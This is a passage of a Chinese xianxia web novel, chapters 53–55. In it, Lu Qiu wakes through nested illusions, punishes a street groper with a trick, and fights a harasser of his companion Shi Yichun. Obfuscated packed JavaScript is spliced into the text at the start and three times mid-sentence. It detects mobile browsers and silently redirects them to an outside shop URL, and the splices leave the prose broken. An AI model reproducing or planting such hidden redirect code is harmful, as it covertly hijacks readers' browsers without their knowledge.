p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395970|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着陆秋,一时半会都没缓过来。 二人就这么对视一阵,对方才开口问道:“你是从哪儿来的?” “我是落霞宗弟子,受你们掌门所托,跟着师姐来布置阵法的。” 陆秋穿的是裙子,抹了胭脂水粉,声音都是娇滴滴的,只是这句话就让这小弟子红了脸。这人不自在的坐起来,手里攥着被角又不好意思让陆秋下去,声若蚊蝇:“你,你怎么跑这里来了?” 陆秋见这人也就十三岁左右的模样,便放松了些警惕:“我走丢了,找不着路。” 说罢,他眼珠一转,有些无奈的意味在里面:“还不知我师姐要找我多久呢……” “我,我可以送你回去的。”这人跪坐着,像是怕陆秋拒绝了自己,又补充道:“我能送你到山下。” “我和师姐要先回到御星阁的。” “我知道路。”他用手指了个大体方向,说:“你若是不跟着我,走不了几步就会被困住的。” 确实是这样,自己在毫不知情的情况下就被空谷拉走,与清环他们走散,危险性可想而知。陆秋顺着他指的方向望去,别说楼了,就连最高的那座塔都见不着,思考片刻后点头答应下来。 自己分明是睁着眼的,可就像又长出来一层眼皮似的,陆秋再次睁眼,发现刚刚根本就没有起来,现在的姿势像是被绊倒摔了一跤,直接趴在人家身上晕过去了。 被压着的这人也动了两下,终于将头从被子中探出,慢悠悠打了个哈欠后钻出被窝,将衣服往下拉了两下对陆秋道:“走吧?” 陆秋还有些发愣,不过很快就爬起来跟上他,又扭头看了地上的被子一眼,提醒道:“被子还没拿。” “我还回来睡觉。” 这人只是看着年纪小,其实身手好得很,一路上走得飞快,几乎要小跑才能跟得上。 陆秋又问:“你叫什么?” “师无念。” “你认识楼无别吗?” “我们是同一宿的。”师无念貌似发现了自己走的太快,便渐渐放慢了速度:“他倒是常去落霞宗。” “他与我师姐关系不错的。”陆秋点头承认。 就当看见御星阁那刻,师无念突然停下脚步,神情严肃道:“糟了。” “怎么了?” 师无念皱眉:“我们还在梦里呢。” 陆秋先是沉默,不知是自己不清醒还是师无念睡迷糊了,便说:“我已经醒了两次。” “你还在梦里呢。”师无念喃喃道:“这楼从来不亮的。” 话音刚落,陆秋便不自觉猛地蹬了一下腿,从这场噩梦中惊醒,只见自己躺在飞舟甲板上。他先是痛苦的捂住头,待眼前清晰了,才看着天上密布的星子发呆。 自己一直都没有离开飞舟。他坐起来,环视一周发现清环躺在离自己不远处,只是没了师亦春的身影。 师亦春也是梦的一部分吗?陆秋揉着太阳穴,感觉自己都有些分不清现实与梦境了。 飞舟停在他们出发的地点,也就是说他们根本没有离开。陆秋向方才在梦中布置的结界看去,发现那里已经有了浓郁的灵力,不由更纳闷了,自己这到底是回来了,还是根本没有出发? 若是回来了,这飞舟不可能停在这里,若是没去,那结界不可能散发如此浓烈的灵力。 陆秋这时有些后悔,怎么清环包了整个飞舟,导致他醒来都没有个人能问问现在是什么情况。 后悔归后悔,但钱不是他出的,清环现在又叫不醒,只好自己抱着腿坐在地上等着。 这里可没有时间,他只能自己心里算着,就在差不多一刻钟时,就见一只手扒上了船舷,随后又探出个脑袋。 四目相对,陆秋脑中一片空白,他深吸一口气,惊讶道:“你怎么来了?” 师无念轻轻跳进舟中,此时凑得有些近了,小声道:“我打算送你出去的,谁知又被卷进了这幻境中。” “什么幻境?”陆秋一听,又紧张起来。 53. 引星河(3) “刚刚你进入的是我的幻境。”师无念坐在他身边解释:“不过我意识到我也陷入了沉睡,便猛然惊醒,才把你从幻境中弹了出来。” “可我……”陆秋又皱眉,改了问题:“你怎么找到我的?” “幻境找人很容易的。” “我都离开了你的幻境,你怎么找到的?” 师无念一愣,不解的望着他:“这里是另一层幻境。” “我还在幻境中没出去?”陆秋瞬间就着急起来:“这还有没有完,一层层的究竟要呆多久?” “也不会很久。”师无念安慰道:“你和你师姐是来做任务的,等做完了,自然就离开了。” 陆秋哪里能听得进去他的话,便指着那结界问:“我们的任务已经做完了,如今又是在飞舟上,你为何要说我现在还在幻境中?” “因为我还没醒……”师无念声音越来越小,听着心虚极了,但很快,他便对着陆秋的后背猛地拍去。 陆秋猛地坐起来,由于用力过猛,头顶正中心直接撞在了什么东西上,疼的眼泪瞬间就涌了出来。 眼前还是模糊的,就见自己已经下了飞舟,这时正在一家客栈中,而清环半抱着自己,此时正吸着凉气,揉着被磕疼的下巴。 “师、师姐?”陆秋揉头顶,不太敢信眼前这位是真的清环。 “起的这样突然,我都怀疑你是故意想撞师姐呢。”清环皱眉轻揉发红的下巴。 “对不起……”陆秋也不揉头顶了,毕竟那地方越揉越疼,放下了手不知做什么,便眼巴巴的看着清环。 清环一只手还环着陆秋的腰呢,见他和小狗似的看自己,不由发笑:“师姐怀里就这么舒服,不愿走了?” 陆秋面上飞快泛了红,还没开口又被清环揶揄:“这儿还有人,等回了宗门师姐再抱你,嗯?” 陆秋本就觉得羞,往房间角落一看竟然还有个师亦春,当即就挣扎着从床上下来,和被火烧了屁股似的就往一边跑。 师亦春低下头,决定不参与他们的对话,直到清环解释完了前因后果才缓缓开口:“其、其实,你,你一开始就,就,就晕了。” 清环笑眯眯接过话:“我们只是在前面走了两步,谁知你在原地不动了,我刚回头就见你往后退了一步,接着没有一点停顿,直直栽下去了。” 陆秋愣了片刻才开口问道:“那任务做完了吗?” 清环用袖子掩着唇轻笑:“有我在,你还担心什么?” 好在师亦春很有眼力见,早在清环解释时就偷偷摸摸离开了房间,让他们二人去说个明白。 这里没了外人,陆秋也不必拘谨了,瘪着嘴将刚刚醒了好几次的事说出来,又道自己从未见过这种诡异的功法,一时无法接受,在梦中可给吓得不轻。 清环不由笑出声,那声音清脆得很,听着就像清泉流过,倒是缓了他焦虑的心思。把陆秋揽到怀中,他便轻声念着:“吓不着,吓大不吓小,叫一叫就好喽好喽。” 这样一边念着,清环一边将手掌弯起,做出舀水的动作从陆秋头上倒下。可那掌中是没有水的,自然什么都没有落到陆秋头上,只是清环的手又轻轻揪了两下他的耳垂,不疼,但是很痒,弄得当事人都不好意思了,只能小声提醒清环:“师姐,我又没丢魂。” “你要是丢了魂,就成小傻子了。”清环点点他的鼻尖:“这还不是放心不下,才叫叫你。” “我怎么可能成傻子……”陆秋嘀咕两句,又安静了好一会才问:“我们回去吗?” “引星河酉时便宵禁,今日赶不上了,得明日回去。” “现在是什么时候?” “已经亥时了。” “亥时?”陆秋一惊,从清环怀中直起身:“我们不是清早便乘着飞舟来了引星河吗,怎么时间过的这么快?” “我们是在寅时到达的御星阁,待第一个阵法收拾完就已经是卯时三刻,紧接着你睡过去,再一睁眼就到了现在。” 陆秋听的面上发臊,只能支支吾吾道歉:“抱歉,我没有帮上忙……” “那又如何?我执意要带你来,那自然就做好了万全的打算。” “可每次出来我都没什么作用。”陆秋心底又觉得过不去:“平日里的任务自己做还好,毕竟都是有目标的,可……” 清环打断他:“那就是不适合和别人一起做任务喽?” “好像是?” “也好,你能更独立些。”清环动作间,只听腕上玉石精雕的镯子相撞发出脆响,仅是片刻便又挑了几个牌子递给陆秋:“你去做这些,多和人打打交道,免得被骗。” “我哪有这么好骗?”陆秋这么说着,把木牌收起来,心道清环真是小看他了,自己的读心学了这么多年,怎么能是摆设。 就算不读心,那些情绪波动他也是能感受到的,虽然自己已经不怎么用读心术,但基础的交流还是要提防些,若是一开始就有坏心眼的家伙,那便无需多费精力了。 费精力也无所谓,陆秋也不是什么省心的主,遇到那种无缘无故就想坑人的人,他还是想和对方玩玩的,比如让他们体验一下自作自受的感觉。比起在滨水宗的那段时间,陆秋现在更坐得住了些,至少耍些坏心眼时不会表露的那么明显。 “别只会耍嘴皮子。”清环点了一下陆秋额头,嗔怪道:“我还没说你呢,之前去街上,你怎么把人裤子给扒了?” “我哪有……”陆秋心虚的移开目光,看向别处。 “是吗?”清环抱胸,又问:“那日我去了蒸荣坊,先是与青溪聊天问了些近况,还没走呢就看见一人在大街脱裤子,而且他身上的气息,貌似不是鬼修的呢……” 陆秋见清环的脸色愈发阴沉,只好坦白:“哎呀,我那是惩恶扬善,我一没杀生,二没害人,救了无辜的人,还给各位看了热闹。” 他一副人畜无害的模样:“我这哪里叫闯祸?” 要真的说起来,其实也不能全怪陆秋身上,那日他与江舟一同偷溜出来恰巧赶上了集会,想着来都来了,不如好好逛一逛。 其实逢集卖的东西就那么几种,逛的次数多了也没什么新鲜感,可就是想逛,想四处走一走,看一看,买不买东西成了无所谓的,仿佛那种氛围才是最重要的。 蒸荣坊坊主名叫青溪,曾是落霞宗弟子,如今见师妹到了自己铺子,自然没让他们空着手走,便又给二人塞了两包点心,送他们打打牙祭。 “我说吧,青溪师姐很好的。”江舟嘴里还嚼着糖球,含糊不清道:“你多来几次,混熟了每次都能有小点心的。” “嗯。”陆秋嚼了块蜜三刀,只觉这东西还真得及时吃,现在凉了些,说好听是有嚼劲,难听了就是费牙,咬的腮帮子都隐隐泛酸。 也就是他拿第二块点心时,江舟突然用胳膊盯了他一下,本就没拿稳的点心又掉回油纸包中,还碎成了几块。 陆秋迟疑着看向江舟,江舟冲另一边抬了下下巴,示意他看。 陆秋视线扫过地面,向上移了些,才发现有个鬼鬼祟祟的男人正紧跟着几个姑娘,那手也不安分的乱动,又是叉腰,又是摸摸鼻子,反正每次都要假装无意撩过几人的衣服,或是“不经意”的有点肢体接触。 陆秋飞快和江舟进行了一个眼神交流,江舟传音道:“咱装看不见?” “怎么可能?”陆秋悄悄读了个心,知道江舟只是故意说说,其实都准备捏好了符,准备阴人家一下。 陆秋皱眉,刚要喊那几位姑娘注意,就被江舟捂住嘴,他有些不满的看着江舟,不知他为什么要捂自己嘴。 “你傻啊!”江舟传音骂他:“你这一喊,人人都知道那几个姑娘被摸了,你叫她们以后怎么抬得起头来?” 陆秋这才闭上嘴,咬了一下自己的舌尖,又问:“你打算怎么办?” “贴个符呗,咱总不能因此杀了人的。” 陆秋盯着这男人的手,突然又瞄到江舟手上的符中,他竖起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395971|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根指头,此时也不用传音了,小声对江舟说:“我有一计!” 所谓“控制”,并非对活物有用,比如陆秋所用的红绳,虽不比其他秘法所用的丝线隐蔽,可也有好处,那便是无论操控对象是什么,都得乖乖听话,几乎没有条件限制。 只是这红线过于显眼了,而江舟刚好又有张能遮盖外形的符。 江舟只想等一会把这男人拖去巷子里打,这符是用来遮自己身形的,但见陆秋这幅模样,还是把符给了他,看他有什么鬼点子。 只见陆秋将符卷在红绳上,借着人多,便偷偷控着绳向那男人袭去。 那几位姑娘都是夜笙门弟子,今日没有课业,便想出来透透气。当有个色鬼在后面跟着时,她们自然也察觉了,只是几人传音过后,便又作无事状走着,只等到了人少的地方把这家伙吊起来打一顿。 “打完再扒了衣服,吊起来抽一顿。”提出建议的是位丸子头少女,身着鹅黄碎花裙,腕上银镯撞得叮当响,那双狐狸眼已经在骨碌碌的乱转,想着待会往哪里走了。 可天不遂人愿,正当几人商讨着这男人的结局时,就听身后突然传来尖叫声,此起彼伏,震得人耳膜嗡嗡作响。 她回头望去,仅看了一眼就恨不得自己是个瞎子。原来跟在她们身后的那男人当街脱起了衣裳,露出胸前那两团东西甩来甩去,甚至还有几根毛发在面前晃。 丸子头少女恨不得将双眼戳瞎,但此时只能握紧拳头躲避着这男人的肉,在她看来,被甩到怕不是要膈应一辈子,修炼都要有了心魔。 眼见这人又要脱裤子,周围人吓得不敢再聚到一起,于是这男人身边立刻空了出来,他又东跑一下,西跑一下,无论男女老少,多多少少都被他这种模样骚扰到,哪怕是男人,见到这幅模样都觉得反胃,有个腰间挂着老虎尾巴的修士甚至已经掏了武器,要当街把这登徒子暴揍一顿解气。 待有附近巡逻弟子前来,陆秋才收了线,让这男人被他们拖走。 本来人就那么多,陆秋二人又在人群边缘,本不该被发现的,可岔子就出在江舟身上。江舟是听完经出来的,嫌麻烦就没有换衣服,他的符恰巧又只能遮住绳子外形而不能遮盖气息,所以被有心人顺着气息就能直接找到。 陆秋本来收了手,看着这人被带走就算结束,可衣袖被拉了两下,他以为是江舟扯的,便小声道:“哎呀,别拽了。” 可惜对方不理他,还是拽,陆秋终于不耐烦了,转头就见一位刚到自己胸口的少女,正眨着眼看向自己。 本来看着挺可爱,感觉这人会是哪家的大小姐,可当陆秋视线向后挪了些,却发现江舟已经被几人围住了,此时正面带绝望的看着陆秋,想求救但被堵得死死的,泪眼汪汪的和他对视。 “这位……”少女上下打量着他:“唔……道友?” 陆秋点头问道:“不知姑娘有何贵干?” “啊呀,我们聊聊嘛。”少女嘻嘻笑着,让师妹们放开江舟:“我师妹不懂事,刚刚还多亏了二位出手相助。” 伸手不打笑脸人,更何况人家本来也没有恶意,江舟虽然被围住,那也只是站在一堆女人中间不敢动,生怕碰到什么不该碰的东西,才动弹不得。 陆秋又望了眼江舟才答应下来:“不知姑娘想去哪里?” “我们自然要感谢二位道友,不如一同去酒楼……” “我们不喝酒的。”陆秋顿时寒毛直竖,出口拒绝:“师门有规矩,喝酒是犯了戒的。” “好吧。”少女咂咂嘴,失望的说:“那就吃饭吧。” 听到这里,清环倒是敲了敲桌边,阻止陆秋继续讲下去:“你倒是精明,还知道用符包着。” 不过他想了想,又问:“那姑娘是谁?” “是夜笙门的弟子,自称墨玉。” “估计不是真名。”清环连连摇头:“你和江舟怎么说的?” “就是……我俩随便编了个名字,然后聊了些事罢了。” 54. 觊觎(1) “也好。”清环点头,这才把等在门外的师亦春放了进来。 这时地面突然震了几下,陆秋险些从床上掉下去,他有些惊讶的看向清环,发现对方一脸平静,甚至还有心思喝茶。也就是震的这几下,本就没关好的窗子打着床边发出啪嗒声,也因此露出外面的那片景色来。 陆秋往外扫了一眼,发现这哪里是客栈,分明是飞舟的一间屋内,此时恰巧赶上了飞舟起飞,才震成这个样子。 待飞的平稳了,陆秋才看向师亦春:“你怎么也在这里?” “我?”师亦春眨巴两下眼睛,才缓缓开口:“我,我也出,出去。” “你要去哪儿?” “去,去,去夜,夜笙门。” “夜笙门……”陆秋皱眉看了眼清环,见对方不说话,想着这人是引星河的向导,帮了他们二人,也算是相识,如果师亦春自己去夜笙门,可能因为某些原因被为难,自己也看不惯这种事。 师亦春说精明也精明,说傻那也是不能否认的,一问就把事情往外抖,可到最后关于自己的却闭口不提。 这时清环开口:“我给你的那些任务,大多还是在夜笙门的。” 陆秋一惊,与清环对视一眼就知对方什么意思,便顺着台阶下:“既然如此,我便和师亦春一起去夜笙门了,还请师姐在落霞宗为我请个假。” 这决定确实糊涂,没有一点准备就前往目的地,待清环身形消失在传送阵的那刻他才开始后悔。 自己接了任务,要在里面待着换班,具体点就是夜笙门太忙,自己人都用不过来,还有不少想出去喝酒的弟子,便找了其他门派的人来顶自己的位置。 夜笙门这职责都能被外人顶替,貌似是太随意了些,日后或许会成一大隐患,威胁到夜笙门的治理。可做了才知道,这根本是无稽之谈,比如陆秋现在在门口,站的腿都僵了,心里开始默数着结束的时间。 真正重要的事情怎么可能被外人接了去,他们的任务无非是当木人桩,摆在门口好看,为了统一甚至还要集体穿黑袍,戴面具,在这四季如春的宗门外热出一身汗。 “花楼往哪儿走?” “往东走一公里,右转便是。”陆秋伸出手臂,抬向东面。 也不是完全当木人桩,毕竟还得告诉别人路怎么走。 心里苦,但是任务接了也不能半途而废,不然自己还要给人家违约费。陆秋突然庆幸自己还要戴这面具,不然就要像那站花楼前迎接的人一样了,点头哈腰,脸上还要带着笑,他现在只是腿僵,若是去花楼,怕不是脸也得僵。 陆秋悄悄在袍子下扭了两下脚腕,也算是放松了,随后就又开始打量起周围的人来。 在夜笙门,那么夜笙门弟子最多才是,可一眼望过去,门内弟子却寥寥无几,全是些其他门派的客人。 说客人也不太对,毕竟夜笙门本身就是坊市,人来人往很正常。夜笙门就是以最中间的主楼为圆心,越到外围,人越少,而且房间那么多,也不知到底哪间才算是他们的执事堂,外人来了不迷路都算是认路本领强。 站这么半天就够了,其他任务一看就让人头疼,陆秋在屋内换上落霞宗的宗服,正巧又望见楼下一抹白衣匆匆略过,身后还跟着个人,正喋喋不休追着他跑。 轻浮。陆秋皱眉将簪子戴好,后知后觉那个被追的是师亦春,这才跳窗跟了上去。若师亦春没有遇到什么不情愿的事,陆秋听几句便离开,可只见他一路都在跑,而身后这人却穷追不舍,时不时口中还有几句调戏的话,听得陆秋直皱眉。 “且慢。”陆秋在后面喊住二人,皱眉问师亦春:“这位是?” 师亦春像是见到了救星,飞快窜到陆秋背后支支吾吾道:“我,我不,认识,他。” 陆秋眉头皱得更深了,语气也不客气起来:“你若是这样无礼,那么我们也不必和你讲道理。” 这人倒也不恼,只是愣了一下便笑道:“我说你怎么向这边跑,原来是有靠山啊。” 陆秋听着火大,冷冷道:“对,我便是你说的靠山,你有什么事和我谈。” 三人在这里僵持着自然不行,陆秋便拉过师亦春,随意找了间空出的客栈,等着那男人跟上来。师亦春一直都死死抓着陆秋腰带上的红绳,此时更是颤抖着,警惕的盯着男人。 陆秋轻拍他的师亦春的肩,示意他不必担忧,往那里一坐便翘起腿来阴着脸一言不发,只等对面那人先开口。 那人坐得住,陆秋自然也不急,大不了自己带师亦春离开,他想在这里当哑巴也无所谓。陆秋和师亦春传音几句,越听越觉得气,若不是不知对方修为如何,他一定要摁着对方狠揍一顿。 师亦春也是倒霉,自己只是来做任务,不认路便走错了屋子,结果这人就盯上了自己,无论怎么道歉都不接受,还出言调戏。见道歉无用,他便想着离开,可这人又像狗皮膏药似的,无论如何都甩不掉。 “他修为如何?” “也是金丹。” 师亦春用传音才不口吃,回答都快了许多:“金丹后期,不过移动很快,应当是有什么提升速度的法器。” 陆秋这时抬眼扫向对面那人,心里有了底,知道凭自己是打不过的,便开始向清环远程传音。不能来没关系,反正自己有能力将人带走,不过能来最好,这样自己也有底气,回去也容易些。 面前这男人总是笑着,看起来是挺无害的,若不是刚刚他的那副模样,陆秋也许就真的信了他的伪装。 读心可不是摆设,陆秋听了几句后把师亦春挡得更严实了,虽然知道世上有色鬼,但面前人这样毫不掩饰的觊觎,还是让他难以接受的。 虽然人家看上的不是他,但也够他起一身鸡皮疙瘩的。 陆秋不打算和他耗下去了,便问:“不知阁下如何称呼?” “姓许,名璟瑞,字痕。”他的注意完全在师亦春身上,直到对方被完全挡住,才恋恋不舍收回视线,分神回答陆秋。 师亦春在后面当起了鸵鸟,只要陆秋不把他拎出来,他绝对不会动弹一下的。陆秋当然知道把他揪出来有多危险,便自己面对许痕,质问道:“你无缘无故跟着他作甚?” “我见他可爱,难道就不能夸赞几句吗?” “夸赞不应建立在恐惧之上。”陆秋只觉气得牙痒痒:“你若真是喜爱,也不会说这些下流的话来。” “怎么不会?”许痕摇着扇子,笑道:“污言秽语也是种表达爱意的方式,你年纪小,自然不知道。” “对你来说也许是。”陆秋脑子转的飞快:“可他不愿意,你的所作所为就是骚扰,令人作呕!” “怎么会呢。”他用扇子遮住下半张脸,因为隐藏的足够好,但陆秋会读心,他那点小心思根本就藏不住,直接暴露在对方面前。 许痕没有欺骗陆秋,他心中的确是这样想的,只是觉得师亦春有意思,才起了玩心去逗弄,并如愿把师亦春逗得乱跑。只是这人脑子不正常,还真觉得打是亲骂是爱,自己说些荤话就能哄得对方晕头转向。 陆秋皱眉听着他的心声,察觉到许痕明显是没有把师亦春当感情对象的,只当是宠物可以随意去逗,觉得无趣就换下一个。 荤话对陆秋来说没有什么攻击力,只是这无所谓的态度把他气得有些晕了,再看看师亦春不敢动弹的模样更是心中闷得慌,恨不得自己控制师亦春,往许痕脸上狠狠烙两个耳光。 这时师亦春偷偷传音:“他好像没有恶意。” “没恶意又如何?”陆秋骂道:“谁管他有没有,我只知道他恶心,我们三观不合。” 陆秋又在明面上对许痕说:“若是无事,我们便先行一步。” 许痕却皱起眉头来,轻啧道:“这么着急走做甚?” 那战意已溢于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395972|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言表,陆秋轻搓食指,将火龙握在掌中,开始在脑中思考对策。若是许痕谨慎些,或者将陆秋视为强大的对手的话,也许就能发现他那细微的变化。 比如瞳孔放大,呼吸粗重了些许,即使有意压制但仍在轻抖的脊背。不过面上涂了足够厚的脂粉,就看不出脸颊充血般的红。 陆秋故意装出没听见的模样,将师亦春提起来就要往外走。好在他警惕,提前就在袖中捏了符,又提前将思尘开启,才没有在对方袭击的时候乱了阵脚。 对方捏决突然甩向陆秋,指尖凝出成年人手臂粗细的水柱,擦着陆秋鼻梁便撞上了他们身后的花瓶,连声音都没听到多少,就见那花瓶碎了个彻底,连着里面的花都被冲成齑粉,跟着水滴到地上。 若是那一下打到他们,只怕身上就要开了个大洞。疼痛这才明显了起来,一股温热顺着鼻梁流下,陆秋下意识摸上鼻尖,却是一手的血,那血此时正流得欢快,很快便汇成一条顺着鼻尖流下。 若没有受伤,陆秋也许还会谨慎些,可当下破了相,他的耐心便也耗尽了,掌中立即化出火球对着许痕打去。 原本一直蜷缩在陆秋掌心的火龙也跟着火球飞了出去,眨眼间便来到许痕面前。 许痕看见这和蚯蚓似的火龙,往后退了几步嗤笑道:“蜉蝣撼树!”他将双手合十,再分开时只见颗颗指甲大的水珠浮在掌间,又在许痕意识操纵下朝二人袭来。 陆秋侧身一把将师亦春往下按去,自己则闪身躲过飞来的水珠,镯子细口对着许痕射出几枚毒针,但被对方轻易躲了过去。 许痕一抬眼皮,面上满是不屑:“就这点三脚猫的功夫,枉你一身金丹修为,不如拿来我用!” “试试看呐!”陆秋左右各甩出一道符,又被许痕用灵力护体弹飞,也就是这灵力调动的瞬间,那火龙便找到了缺口,身形像遇了风的火苗迅速膨胀,将许痕一口吞下。 许痕浑身都是水灵力所化的盾,怎么可能轻易被火龙所伤,此时便在火龙体内调整姿势站着,与陆秋隔着层熊熊火焰,语气中充满不耐烦:“落霞宗的人也就只会这点小伎俩!” “哼。”陆秋蹲下,双手按在地面,灵力化为极细的火沿着地面向许痕身边跑去。许痕被火龙包住本就不适,这么强的火,对水灵根来说也是种煎熬,便着急要打破这火龙的肚子。可就在这时,陆秋放出的那些线在地面汇合,那两张被弹飞的符也慢悠悠飘到他的身边,就这么形成了个球状结界,阻止许痕从外界吸收灵力。 刚刚几枚毒针是为了将许痕摁在屋子中央,而符则是要作结界的。但陆秋总不能把符甩到周围,这样的意图过于明显,许痕不可能发现不了,他便让许痕自己定符的轨迹,最终这个结界的大小全看许痕的弹开程度。 师亦春也是省心,主打一个不添乱,被陆秋摁下去就一直不动弹,直到许痕无奈,只能在里面破口大骂时才抬头。 许痕身上的水盾几乎没了多少灵力支撑,此时有火不断往他衣领里钻,阵阵糊味飘出来,惹得师亦春连连干呕。 “师亦春。” 听见陆秋传音喊他,师亦春抬头,只见陆秋周身也是熊熊烈火环绕着,他被火光刺得不由眯眼,问:“怎么了?” “给我传些灵力。” 火龙燃烧自然是消耗陆秋的灵力,平日里就那么小一条自然不用多少灵力,而如今这身形比原先大了百倍,灵力就如泄洪般奔向对面,而这结界又要他分出灵力支持,难免有些支撑不住。 师亦春握上陆秋手腕,清凉的灵力不断从脉搏涌入,奈何他也不强,最终也只能将灵力维持在平衡的程度,无法再给陆秋更多的支持。 若是就这样一直消耗下去,也许许痕能被烧死,可对方怎么都算是位金丹后期的修士,只听一阵爆破声传来,许痕竟将自己的一层皮剥了下来,就凭自己最后的一丝求生欲冲破了结界,朝着陆秋扑去。 55. 觊觎(2) 这一切的发生不过一息之间,陆秋本就神经紧绷,在许痕扑来的瞬间已经浑身肌肉僵硬得动不了,自然只能被掐住脖子狠狠撞到身后的墙上,连带着握着自己手腕的师亦春也被甩到一旁,后颈撞上柜角,一时失去了行动能力。 “臭小子,你还想杀我!”许痕看起来既恐怖,又恶心,血液混着涎水不断往下滴,掐住陆秋的手由于没了皮肤,现在感觉就是生肉在脖子上蠕动着,惹得陆秋不知是窒息还是反胃的想吐。 许痕本是想看陆秋绝望的表情,毕竟让自己绝地反杀,多少都会不甘心。可陆秋不吃他那套,甚至还往上扯了扯嘴角,一副嘲讽的模样。 “你!”许痕的手正要收紧,就觉自己的头皮被扯住了,力道大得似乎要生生将自己的头盖骨捏碎。 身后人嗓音低沉,慵懒中又带上了些许怒意:“你放开他,我便放开你,如何?” 没给许痕迟疑的时间,他又加重几分力道,许痕只好慢慢松开手,不爽道:“我松开了!” “鬼话你也信?”身后人嗤笑,动作快到陆秋都没有看清,就见他一拳将许痕的脑浆都打得溅了出来。 陆秋还没坐起来,那脑浆就崩到了自己脸上,不知出于什么心理,他更不想起来了,面无表情看着对面那人,缓缓松开手,露出里面那张写了许痕名字的符纸。 他本是想将符作为媒介,拖一拖许痕的行动速度,可清环及时赶到,便让他不必再用这张符了。 “还不起,等着师姐抱你回去?”清环见他生无可恋躺在那里,换上了笑脸:“到时候师姐师妹可都看着呢,说咱们的陆秋是娇气鬼,回来都要师姐抱。” 陆秋立刻爬起来,刚刚清环说的那话他都能想象出来多尴尬,要真被看了去,自己以后在落霞宗都抬不起头来。 清环看他活蹦乱跳的模样,便将许痕尸体翻过来,把他金丹挖出细细查看着,最后叹气道:“还可以,就差最后一点便是元婴,今日估计也是看上了你们,才在这里动手。” “我也是想找个隐蔽的地方干掉他的。”陆秋笑着回答。 “知道摇人,不错。”清环边夸他边拽着师亦春的腿,把他拉过来后探探鼻息,确认只是晕过去才开口解释:“这家伙就是找死,自己体质特殊还来夜笙门,真是不知天高地厚。” “什么体质?” “当炉鼎的体质。”清环手中盘着金丹开口:“引星河功法的坏处就是炼久了会成炉鼎体质,这家伙估摸着是想把他带回去,留着日后慢慢用。” “那他还来夜笙门做什么?”陆秋也不赞同的开口:“这里鱼龙混杂,他一个筑基期本就讨不得好处,往这里来不就是羊入虎口?” “谁知道呢。”清环将金丹抛给陆秋:“你看着办吧,我得赶紧回去了。” 陆秋才想起来这个时候该是清环值班的时间,估计是临时找了人替自己,才能及时来到这里救场。他便点点头,回道:“辛苦师姐了。” 清环衣服都没换,就连声音也变为了本来的男声,陆秋不再强求,等思尘到了时间,便背着还在昏迷的师亦春去外面找客栈。 得亏现在是晚上,没人注意到这俩鬼鬼祟祟的人影,陆秋只是扔了几块碎银便进了间上房,把师亦春往床上一扔,自己也顾不上脏乱,直直倒在了床上,变回六岁模样休息。 还没怎么放松,就见被自己扔在一旁的师亦春正睁着眼打量自己,陆秋与他对视片刻后猛地坐起,但身体轻飘飘的没有什么感觉,才意识到自己又被拉进了幻境中。 师亦春本想道谢,但看见陆秋缩水成这样,话到嘴边还是没能说出来,只能问道:“你……怎么是这个样子?” 竟然不结巴了。陆秋眨巴两下眼睛,把衣服往上拢了一下,决定逗对方玩玩当作放松了:“灵力消耗太多,就变成这样了。” “还有这种功法?”师亦春有些怀疑,但还是信了:“那你怎么能变回去?” “嗯……”陆秋假装思考着:“等补够了就变回去了。” “对不起,我拖累你了……”师亦春有些愧疚的坐起来:“我的幻境里能补充灵力,你试试?” 他若不说,陆秋也许还察觉不到,这幻境中的灵力比外界倒是浓郁许多,而且幻境主人同意,那些灵力便争抢着往他身边挤,多到有些难以承受了。 难怪许痕想抓师亦春,仅是幻境就能有这么多的灵力,若是把他当作炉鼎,修炼绝对也不是问题。 可惜那灵力太强,陆秋没有第一时间选择吸收,便被扑回了床上,只觉这灵力冰冰凉凉,像是小狗舔自己似的不断推搡着他,陆秋只好伸手胡乱挥着:“师亦春,你收一收,我现在吸收不了灵力!” 师亦春只好将灵力调动起来,围绕在陆秋身边,勉强给了对方起来的力气。 二人面面相觑,盯得陆秋浑身都不自在,终于等到师亦春移开目光,陆秋还没放松下来,就见对方又反手掏出几条裙子来。 那裙子还是他现在能穿的尺寸,陆秋一下便炸了毛,忙道:“你这是从哪儿拿出来的?” “我的幻境可以随便拿的。”师亦春挑出件粉裙要给陆秋穿,陆秋连连摇头:“不要不要,我穿我的衣服就好。” “你的衣服太大了。”师亦春又看看他的身形,变出几条裤子来:“至少别光着嘛。” “这里不是你的幻境吗,又不会有别人看见。”陆秋皱眉反驳他。 “那个,我……”师亦春突然挠头:“其实我的幻境是会把人拉进来的。” “所以?” “所以方圆十里的人,都在这儿的。” 陆秋两眼一黑险些晕过去,忙说:“你收一收,方圆十里又不是小范围,这里人这么多,若是被发现,你就危险了。” “不用着急。”师亦春此时竟有几分悠闲:“只要在我的幻境内,就要按我想的来,我们不会有危险的。” “可我们□□在沉睡。”陆秋反驳:“你的幻境是神识,□□若是被找到怎么办?” 